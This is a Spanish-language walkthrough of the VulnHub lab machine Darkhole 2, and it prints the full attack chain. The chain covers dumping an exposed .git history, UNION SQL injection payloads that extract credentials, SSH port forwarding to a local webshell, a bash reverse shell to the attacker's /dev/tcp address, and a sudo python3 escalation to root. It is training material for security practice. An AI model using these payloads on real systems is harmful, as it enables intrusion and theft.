Darkhole 2
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El servidor web expone el directorio.git. Lo clonamos entero y en el historial de commits aparece la contraseña por defecto que puso ellogin.php:lush@admin.com:321. Dentro del panel, el parámetroiddedashboard.phpes vulnerable a una SQLi basada en UNION que vuelca la tablasshconjehad:fool, credenciales válidas por SSH. Comojehadvemos un servicio interno en el 9999; con port forwarding llegamos a él y resulta ser una webshell (?cmd=) que ejecuta comolosy(inyección de comandos). En el.bash_historydelosyestá su contraseña (gang) ysudo -lrevelapython3como root: GTFOBins cierra la caja.
Reconocimiento
Descubrimiento del host en la red local
Darkhole 2 es una máquina de VulnHub que se descarga y se levanta en la red local del laboratorio, así que no viene con una IP dada: hay que encontrarla. arp-scan envía peticiones ARP a todas las direcciones del segmento y apunta quién responde, junto con el fabricante que delata la MAC.
arp-scan -I eth0 --localnet --ignoredups
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.129 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.128 74:e2:0c:8f:1e:6f Amazon Technologies Inc.
192.168.1.146 00:0c:29:8f:bd:c1 VMware, Inc.
192.168.1.142 98:01:a7:8a:fa:55 Apple, Inc.
192.168.1.138 f4:03:2a:28:e7:36 Amazon Technologies Inc.
192.168.1.136 a4:77:33:d7:4d:4c Google, Inc.
192.168.1.130 de:ba:80:a7:e7:5b (Unknown: locally administered)
8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.518 seconds (101.67 hosts/sec). 8 respondedDe los ocho equipos que contestan, el único con MAC de VMware es 192.168.1.146: el resto son el router, un portátil, dos dispositivos de Amazon, un Apple y un Google. La máquina virtual recién arrancada es la nuestra. La IP de nuestro Kali, que necesitaremos luego para la reverse shell, la da la propia cabecera de arp-scan: 192.168.1.80.
La IP de la víctima cambia entre despliegues (aquí 192.168.1.146): sustitúyela por la tuya en todos los comandos.
Escaneo de puertos
Para el escaneo se usan tres funciones definidas en el .zshrc. Son cómodas, pero también hacen que los comandos reales queden ocultos, así que van con su código: el objetivo es que cualquiera pueda reproducir el escaneo sin tenerlas instaladas.
La primera, jmap, pide una IP y lanza un escaneo TCP de los 65535 puertos:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Es decir, el comando equivalente sin la función es:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.146 -oG scan
Discovered open port 80/tcp on 192.168.1.146
Discovered open port 22/tcp on 192.168.1.146
Completed SYN Stealth Scan at 21:07, 6.43s elapsed (65535 total ports)
Nmap scan report for 192.168.1.146
Host is up, received arp-response (0.0015s latency).
Scanned at 2025-02-08 21:07:25 CET for 6s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:8F:BD:C1 (VMware)Solo dos puertos, y la columna REASON ya adelanta el sistema operativo: ttl 64 apunta a Linux (los TTL iniciales típicos son 64 en Linux/Unix y 128 en Windows; aquí no hay saltos de rúting que lo decrementen porque la máquina está en el mismo segmento).
La segunda función, extractPorts, no escanea nada: parsea el fichero scan que dejó la anterior en formato grepable y deja los puertos listos en el portapapeles.
extractPorts () {
echo -e "Extracting information..."
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
{
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
} >> extractPorts.tmp
echo "$ports" | xclip -sel clip
echo -e "Ports copied to clipboard\n"
cat extractPorts.tmp
rm extractPorts.tmp
}extractPorts scan
Extracting information...
IP Address: 192.168.1.146
Open ports: 22,80
Ports copied to clipboard
IP Address: 192.168.1.146
Open ports: 22,80Y la tercera, jmap2, lanza el escaneo de versiones y scripts por defecto solo contra esos dos puertos:
jmap2 () {
if [ "$#" -ne 2 ]
then
echo "Uso: jmap2 <ip> <puertos>"
return 1
fi
local ip="$1"
local puertos="$2"
nmap -p"$puertos" -sCV "$ip"
}nmap -p22,80 -sCV 192.168.1.146
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
| 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.1.146:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the ...
|_ Last commit message: i changed login.php file for more secure
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2
MAC Address: 00:0C:29:8F:BD:C1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelAquí está el hallazgo de la caja, y lo sirve nmap en bandeja. El script http-git comprueba si existe /.git/ bajo el docroot y, si lo hay, lee sus metadatos. No solo confirma el repositorio: también imprime el último mensaje de commit, i changed login.php file for more secure. Alguien "aseguró" el login.php en un commit, lo que implica que antes existía una versión insegura, y en Git nada de lo que se comitea desaparece por cambiarlo después.
La versión de OpenSSH (8.2p1 Ubuntu 4ubuntu0.3) y la de Apache (2.4.41) sitúan la máquina en un Ubuntu 20.04. Ninguna de las dos tiene un exploit remoto que valga la pena aquí, así que la vía es la web.
HTTP - TCP 80
Antes de tirar del .git, un vistazo rápido a la tecnología del sitio.
whatweb 192.168.1.146
http://192.168.1.146 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.1.146], Title[DarkHole V2]La cookie PHPSESSID confirma que detrás hay PHP con sesiones, lo que encaja con un panel de login. La extensión Wappalyzer, ya desde el navegador, cuenta lo mismo con otras palabras:

Font scripts: Font Awesome
Programming languages: PHP
Web servers: Apache HTTP Server 2.4.41
Operating systems: UbuntuNinguna de las dos herramientas aporta nada que no supiéramos ya por nmap. Es un descarte, pero merece la pena hacerlo y dejarlo escrito: son treinta segundos y, en una caja con un CMS conocido, es justo el paso que te ahorra media hora.
Descubrimiento de contenido
Un dirsearch con los 403 y 404 filtrados para ver qué hay servible bajo el docroot:
dirsearch -u http://192.168.1.146/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.146/
[21:18:17] Starting:
[21:18:18] 200 - 598B - /.git/
[21:18:18] 200 - 41B - /.git/COMMIT_EDITMSG
[21:18:18] 200 - 73B - /.git/description
[21:18:18] 200 - 23B - /.git/HEAD
[21:18:18] 200 - 673B - /.git/hooks/
[21:18:18] 200 - 130B - /.git/config
[21:18:18] 200 - 1KB - /.git/index
[21:18:18] 200 - 459B - /.git/info/
[21:18:18] 200 - 484B - /.git/logs/
[21:18:18] 200 - 240B - /.git/info/exclude
[21:18:18] 200 - 554B - /.git/logs/refs/heads/master
[21:18:18] 200 - 554B - /.git/logs/HEAD
[21:18:18] 200 - 667B - /.git/objects/
[21:18:18] 200 - 464B - /.git/refs/
[21:18:18] 200 - 41B - /.git/refs/heads/master
[21:18:19] 200 - 509B - /.idea/
[21:18:19] 200 - 192B - /.idea/modules.xml
[21:18:19] 200 - 926B - /.idea/workspace.xml
[21:18:34] 200 - 456B - /config/
[21:18:35] 200 - 11B - /dashboard.php
[21:18:43] 200 - 455B - /js/
[21:18:45] 200 - 484B - /login.php
[21:18:45] 302 - 0B - /logout.php -> index.phpEl listado de directorios está activado (por eso /.git/ devuelve 598 bytes de índice HTML en vez de un 403), y eso hace que el volcado del repositorio sea trivial. Aparecen también /login.php, /dashboard.php y hasta un /.idea/ (los metadatos del proyecto de un IDE de JetBrains), otra fuga de información de desarrollo que se ha subido a producción sin querer.
Volcado del repositorio .git
Un .git accesible desde fuera es una fuga de código y de historial: con el repositorio en local podemos leer cada commit, incluidas las contraseñas que alguien creyó haber quitado. Como el listado de directorios está activo, basta un wget recursivo, sin necesidad de herramientas específicas como git-dumper:
wget -r http://192.168.1.146/.git/
--2025-02-08 21:21:31-- http://192.168.1.146/.git/
Connecting to 192.168.1.146:80... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 2681 (2.6K) [text/html]
Saving to: '192.168.1.146/.git/index.html'
192.168.1.146/.git/index.html 100%[===================>]
2025-02-08 21:21:31 (223 MB/s) - '192.168.1.146/.git/index.html' saved [2681/2681]
Loading robots.txt; please ignore errors.
--2025-02-08 21:21:31-- http://192.168.1.146/robots.txt
Reusing existing connection to 192.168.1.146:80.
HTTP request sent, awaiting response ... 404 Not Found
2025-02-08 21:21:31 ERROR 404: Not Found.Con el árbol en local vamos a .git/logs/refs/heads/ y leemos el fichero master. Ese fichero es el reflog de la rama: una bitácora de cada movimiento del puntero, con el commit de origen, el de destino, el autor y el mensaje. Es la forma más rápida de ver la historia completa sin ni siquiera tener git reconstruido.
cd 192.168.1.146
cd .git/logs/refs/heads
cat master
0000000000000000000000000000000000000000 aa2a5f3aa15bb402f2b90a07d86af57436d64917 Jehad Alqurashi <anmar-v7@hotmail.com> 1630317764 +0300 commit (initial): First Initialize
aa2a5f3aa15bb402f2b90a07d86af57436d64917 a4d900a8d85e8938d3601f3cef113ee293028e10 Jehad Alqurashi <anmar-v7@hotmail.com> 1630317980 +0300 commit: I added login.php file with default credentials
a4d900a8d85e8938d3601f3cef113ee293028e10 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 Jehad Alqurashi <anmar-v7@hotmail.com> 1630318472 +0300 commit: i changed login.php file for more secureTres commits, y el del medio se autodenuncia: I added login.php file with default credentials. El tercero es el que nmap ya nos había enseñado ("for more secure"), es decir, el que quitó esas credenciales. Pero el commit a4d900a8... sigue estando en el repositorio con el fichero tal y como se subió la primera vez.
Acceso al panel
Credenciales en un commit de Git
Le pedimos a Git el contenido exacto de ese commit (secretos en el historial):
git show a4d900a8d85e8938d3601f3cef113ee293028e10
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == "POST"){
+ if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+ $_SESSION['userid'] = 1;
+ header("location:dashboard.php");
+ die();
+ }
+}
+?>La comprobación está escrita a pelo en el código: si el email es lush@admin.com y la password es 321, el servidor pone $_SESSION['userid'] = 1 y redirige al dashboard.php. Dos cosas que apuntar aquí, porque las dos importan después:
- Las credenciales son
lush@admin.com:321. - El identificador que la sesión guarda es un
useridnumérico, y el panel al que redirige trabaja con ese número.
Login y panel
http://192.168.1.146/login.php
(el formulario solo tiene los campos de email y contraseña; se envían las credenciales del commit)Y entramos. El panel es un perfil de usuario, poca cosa: nombre, email, teléfono y dirección, con un botón de guardar.

Full name Jehad Alqurashiasddasdasdas
Email lush@admin.com
Contact number 1
Address Street, Pincode, Province/State, CountryLo interesante no está en la página, está en la URL: dashboard.php?id=1. Un parámetro numérico que casi con seguridad acaba en un WHERE id = ... de una consulta SQL. Y el login.php que acabamos de leer ya nos había avisado de que la aplicación se construyó concatenando valores a mano.
Shell como jehad
Contando columnas con ORDER BY
Antes de poder inyectar un UNION SELECT hay que saber cuántas columnas devuelve la consulta original: un UNION exige que las dos partes tengan exactamente el mismo número de columnas. La forma clásica de averiguarlo es ORDER BY n, subiendo n hasta que la base de datos se queja de que esa columna no existe.
Se usa id=6 (un identificador que no existe) para que la consulta original no devuelva ninguna fila: así, cuando llegue el UNION, lo único que se pintará en pantalla será nuestro resultado y no el perfil real.
http://192.168.1.146/dashboard.php?id=6' ORDER BY 6-- -
Full name
Email
Contact number
AddressCon seis, la página se pinta entera (campos vacíos porque id=6 no existe, que es justo lo que buscábamos). Con siete:
http://192.168.1.146/dashboard.php?id=6' ORDER BY 7-- -
(página completamente en blanco: no se renderiza ni la cabecera del panel)La aplicación no imprime el error de MySQL, simplemente devuelve una página vacía. Ese contraste es el que sirve de oráculo: la consulta tiene 6 columnas. Que no haya mensaje de error no invalida la técnica; solo obliga a fijarse en la diferencia de comportamiento en vez de en el texto.
Enumerando la base de datos
Con seis columnas ya podemos montar el UNION SELECT. La primera pregunta es qué bases de datos existen, y para eso está information_schema.schemata. El truco de group_concat() es que aplasta todas las filas del resultado en una sola cadena separada por comas: como el panel solo pinta un valor por campo, sin él veríamos únicamente el primer registro.
http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(schema_name) FROM information_schema.schemata-- -
Address mysql,information_schema,performance_schema,sys,darkhole_2El resultado sale reflejado en el campo Address, que es la sexta columna: por eso el group_concat() va en la sexta posición del SELECT y las otras cinco son NULL. De las cinco bases de datos, cuatro son las del propio motor MySQL; la de la aplicación es darkhole_2.
Si el group_concat() se filtrase o diese problemas, la alternativa es sacar los registros de uno en uno con LIMIT, o preguntar directamente por la base de datos en uso:
http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,schema_name FROM information_schema.schemata LIMIT 4,4-- -
http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,database()-- -Siguiente nivel: las tablas de darkhole_2, que viven en information_schema.tables.
http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema="darkhole_2"-- -
Address ssh,usersSolo dos tablas: users (previsible, la del panel) y ssh, cuyo nombre es una promesa. Vamos a por sus columnas, que están en information_schema.columns.
http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(column_name) FROM information_schema.columns WHERE table_schema="darkhole_2" AND table_name="ssh"-- -
Address id,user,passid, user y pass. No hace falta más contexto.
Volcado de la tabla ssh
Ahora que sabemos el nombre de la tabla y de sus columnas, ya no hace falta pasar por information_schema: consultamos la tabla directamente y pegamos usuario y contraseña con group_concat(user,':',pass) para leerlos de una vez.
http://192.168.1.146/dashboard.php?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,group_concat(user,':',pass) FROM ssh-- -
Address jehad:foolUna sola fila: jehad:fool. Son credenciales guardadas en una tabla llamada ssh, así que lo lógico es probarlas contra el servicio SSH del sistema y no contra la web.
SSH como jehad
ssh jehad@192.168.1.146
The authenticity of host '192.168.1.146 (192.168.1.146)' can't be established.
ED25519 key fingerprint is SHA256:JmrTZ4RY4EPBC4GpHk9i3+Lc29L5n1QtcfSgbqG8D2+8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.146' (ED25519) to the list of known hosts.
jehad@192.168.1.146's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...
IPv4 address for ens33: 192.168.1.146
Last login: Fri Sep 3 05:49:05 2021 from 192.168.135.128
jehad@darkhole:~$Las credenciales que la SQLi sacó de la base de datos valen tal cual para el SSH del sistema (reutilización de credenciales): la tabla ssh no era un adorno, guardaba literalmente las credenciales de acceso al sistema en claro. Ya tenemos la primera shell interactiva.
Shell como losy
Enumeración desde dentro
Tres comandos de partida: los privilegios sudo del usuario, los puertos que la máquina escucha desde dentro (que no tienen por qué ser los que veíamos desde fuera) y las tareas programadas.
sudo -l
netstat -tuln
cat /etc/crontab
jehad@darkhole:~$ sudo -l
[sudo] password for jehad:
Sorry, user jehad may not run sudo on darkhole.
jehad@darkhole:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
jehad@darkhole:~$ cat /etc/crontab
...
* * * * * root service apache2 start && service mysql start
* * * * * losy cd /opt/web && php -S localhost:9999Tres respuestas de golpe, y las tres cuentan:
sudo -les un callejón sin salida:Sorry, user jehad may not run sudo on darkhole. Vía cerrada, y conviene dejarlo escrito para no volver a intentarlo más tarde.netstatdescubre servicios invisibles desde fuera. El escaneo de nmap solo veía el 22 y el 80; desde dentro aparecen MySQL (3306 y 33060), el resolvedor local (53) y, sobre todo, un 9999 escuchando en127.0.0.1. Que esté atado al loopback es exactamente por lo que nmap no lo vio.- El crontab explica de dónde sale ese 9999, y esto es lo que convierte una curiosidad en un vector. La última línea,
* * * * * losy cd /opt/web && php -S localhost:9999, dice que cada minuto el usuariolosylevanta el servidor embebido de PHP sobre el directorio/opt/web. Si conseguimos que ese servidor ejecute algo, se ejecutará comolosy, no comojehad.
Port forwarding del 9999
El servicio solo acepta conexiones desde la propia máquina, pero tenemos una sesión SSH legítima, y eso basta para acercarlo. Con -L le pedimos a SSH que abra un puerto en nuestro Kali y reenvíe todo lo que llegue a él, por dentro del túnel cifrado, hasta 127.0.0.1:9999 de la víctima (port forwarding local):
ssh -L 9999:127.0.0.1:9999 jehad@192.168.1.146
jehad@192.168.1.146's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...
Last login: Sat Feb 8 21:35:58 2025 from 192.168.1.80
jehad@darkhole:~$La sesión hay que dejarla abierta: el túnel vive mientras viva la conexión SSH. A partir de aquí, http://localhost:9999 desde nuestro navegador es el servicio interno de la víctima.
Webshell en el 9999
http://localhost:9999/![Navegador en localhost:9999 mostrando una página con el único texto "Parameter GET['cmd']"](../assets/img/darkhole-2/dh2-cmdparam-002147.webp)
Parameter GET['cmd']La página no tiene nada más: solo un texto que anuncia el parámetro que espera. Ese patrón (?cmd=) es la firma de una webshell casera. Y como el servidor embebido de PHP sirve index.php por defecto, ni siquiera hay que nombrar el fichero: basta con colgar el parámetro de la raíz.
http://localhost:9999/?cmd=id![Navegador en localhost:9999/?cmd=id devolviendo Parameter GET['cmd'] seguido de uid=1002(losy) repetido dos veces](../assets/img/darkhole-2/dh2-webshell-002420.webp)
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy) uid=1002(losy) gid=1002(losy) groups=1002(losy)RCE confirmado (inyección de comandos), y el uid=1002(losy) confirma lo que adelantaba el crontab: los comandos corren como losy, un usuario distinto al nuestro. El detalle de que la salida aparezca dos veces suele indicar que el código llama a la vez a una función que ya imprime por sí misma (system() o passthru()) y a otra cuyo retorno se hace echo (shell_exec()). No cambia nada del ataque, pero conviene entenderlo para no pensar que el comando se está ejecutando dos veces.
Reverse shell
Un ?cmd= en el navegador es incómodo: cada comando es una petición nueva y no hay estado. Toca entablar una reverse shell. Aquí hay un detalle que rompe el ataque si se pasa por alto: en una URL, el carácter & separa parámetros, así que los & del payload hay que URL-encodearlos como %26; si no, el servidor recibe el comando cortado por la mitad.
Primero, el listener en nuestro Kali:
nc -nlvp 443Y después la petición, con los dos & de la redirección codificados:
http://localhost:9999/?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"![Barra de direcciones del navegador con el payload bash -c hacia /dev/tcp/192.168.1.80/4444, y la página devolviendo solo Parameter GET['cmd']](../assets/img/darkhole-2/dh2-revshell-url-003354.webp)
localhost:9999/?cmd=bash -c "bash -i >&26 /dev/tcp/192.168.1.80/4444 0>%261"Dos cosas de esta captura. La primera, que la barra de direcciones de Firefox muestra el %26 ya decodificado en unos sitios y sin decodificar en otros: lo que se envía es lo del bloque de arriba, no lo que se lee en pantalla. La segunda, que el puerto que se ve aquí es el 4444 mientras que el listener está en el 443: el puerto del payload y el del listener tienen que ser el mismo, y si no coinciden la petición simplemente se queda esperando sin que entre nada. El que acaba recibiendo la conexión es el del 443:

listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.146] 57664
bash: cannot set terminal process group (1243): Inappropriate ioctl for device
bash: no job control in this shell
losy@darkhole:/opt/web$ id
uid=1002(losy) gid=1002(losy) groups=1002(losy)Somos losy, y el directorio de trabajo es /opt/web: exactamente el que decía el crontab.
Tratamiento de la TTY
La shell que acaba de entrar no es una terminal de verdad (los avisos cannot set terminal process group y no job control lo dicen literalmente): no hay Ctrl+C sin morir, ni autocompletado, ni histórico. Se arregla en cuatro pasos.
script /dev/null -c bash
export TERM=xterm SHELL=bash
# Ctrl+Z
stty raw -echo; fg
losy@darkhole:/opt/web$ script /dev/null -c bash
Script started, file is /dev/null
losy@darkhole:/opt/web$ export TERM=xterm SHELL=bash
losy@darkhole:/opt/web$ ^Z
zsh: suspended nc -nlvp 443
┌──(krmena@kali)-[~]
└─$ stty raw -echo; fg
[1] + continued nc -nlvp 443
losy@darkhole:/opt/web$script /dev/null -c bash fuerza la creación de un pseudoterminal; export TERM=xterm le da a la shell un tipo de terminal que entiende (necesario para clear, nano o cualquier cosa con posicionamiento de cursor); el Ctrl+Z deja el nc en segundo plano para poder tocar la terminal local, y stty raw -echo hace que nuestra terminal pase las teclas en crudo, sin interpretarlas, antes de devolver el nc a primer plano con fg.
Escalada a root
El mapa de usuarios
Un truco pequeño antes de empezar: redefinir ls para que siempre muestre ficheros ocultos y permisos. Ahorra volver sobre los pasos por haber olvidado un -la.
alias ls="ls -la"
ls
total 2844752
drwxr-xr-x 20 root root 4096 Sep 2 2021 .
drwxr-xr-x 20 root root 4096 Sep 2 2021 ..
lrwxrwxrwx 1 root root 7 Feb 1 2021 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Feb 1 2021 boot
...
drwxr-xr-x 3 root root 4096 Sep 3 2021 opt
drwx------ 5 root root 4096 Sep 3 2021 root
...
drwxrwxrwt 14 root root 4096 Feb 8 23:37 tmpAhora, quiénes tienen shell en esta máquina. El /etc/passwd es legible por cualquiera, y filtrarlo por bash deja fuera todas las cuentas de servicio (que llevan /usr/sbin/nologin o /bin/false):
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
lama:x:1000:1000:darkhole:/home/lama:/bin/bash
jehad:x:1001:1001:,,,:/home/jehad:/bin/bash
losy:x:1002:1002:,,,:/home/losy:/bin/bashCuatro cuentas con shell: root, lama (uid 1000, la cuenta original de la instalación) y los dos por los que ya hemos pasado. Es decir, o la siguiente parada es lama o es directamente root.
Credenciales en el .bash_history de losy
Con el home de losy ya accesible, el primer sitio donde mirar es su historial de shell (caza de credenciales). Es un fichero que casi nadie limpia y que guarda tal cual todo lo que se tecleó, contraseñas incluidas:
cat .bash_history | grep -iE '(pass*|losy)'
cd /home/losy/
P0assw0rd losy:gang
cd losy/
password:gangDos de las cuatro líneas son la contraseña, escrita de dos formas distintas: losy:gang. Esas líneas no son comandos válidos (nadie ejecuta password:gang), son notas que acabaron en el historial por teclearlas en el prompt, que es justo como pasa en la vida real.
sudo python3
Ahora que tenemos la contraseña, sudo -l ya puede responder (antes lo habría pedido y no la teníamos, porque la shell entró por la webshell, no por un login):
sudo -l
Matching Defaults entries for losy on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User losy may run the following commands on darkhole:
(root) /usr/bin/python3Un intérprete de propósito general ejecutable como root es una escalada inmediata: nada impide que el programa que le pasemos lance una shell. GTFOBins tiene la entrada exacta:

Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may
be used to access the file system, escalate or maintain privileged access.
sudo python -c 'import os; os.system("/bin/sh")'Copiado tal cual, el payload falla: en Ubuntu 20.04 no existe el binario python, solo python3 (y sudo -l autorizaba precisamente /usr/bin/python3, no /usr/bin/python). Hay que adaptar el nombre del binario, que es el paso que GTFOBins no puede dar por ti:
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo: python: command not found
losy@darkhole:~$ sudo python3 -c 'import os; os.system("/bin/bash")'
root@darkhole:/home/losy# cd
root@darkhole:~# ls
root.txt snap
root@darkhole:~# cat root.txt
DarkHole{'Legend'}Caja rooteada.
Cadena de ataque
arp-scan -> 192.168.1.146
└─> nmap http-git -> .git expuesto (wget -r)
└─> reflog -> commit "default credentials" -> lush@admin.com:321 (panel)
└─> dashboard.php?id= -> UNION SQLi -> tabla ssh -> jehad:fool
└─> SSH jehad -> crontab: losy levanta php -S en 127.0.0.1:9999
└─> ssh -L -> webshell ?cmd= -> RCE como losy
└─> .bash_history -> losy:gang
└─> sudo python3 (GTFOBins) -> rootLecciones aprendidas
- Publicar
.gites publicar el historial. "Arreglar" una credencial en un commit nuevo no la borra: sigue viva en el commit anterior, y elreflogde la rama te lleva a él en uncat. El secreto hay que rotarlo, no solo tapar. - El script
http-gitde nmap hace medio trabajo. No solo detecta el repositorio: imprime el último mensaje de commit, y aquí ese mensaje ("for more secure") era la pista de que existía una versión anterior insegura. - Una SQLi sin mensajes de error sigue siendo explotable. Aquí el oráculo no era el texto de MySQL, sino la diferencia entre una página que se pinta y una página en blanco. Basta con eso para contar columnas.
- Los servicios que solo escuchan en loopback no son invisibles.
netstatdesde dentro los delata y, sobre todo,/etc/crontabexplica quién los levanta: esa línea era la que anticipaba que la webshell iba a ejecutar comolosyy no comojehad. - El
.bash_historyes un clásico de fugas. Contraseñas tecleadas en línea de comandos quedan ahí; conviene revisarlo siempre tras cada pivote. - Los payloads de GTFOBins hay que adaptarlos. El de
pythonfalló porque en esta máquina el binario espython3. Copiar y pegar sin mirar qué autoriza exactamente elsudo -lcuesta tiempo.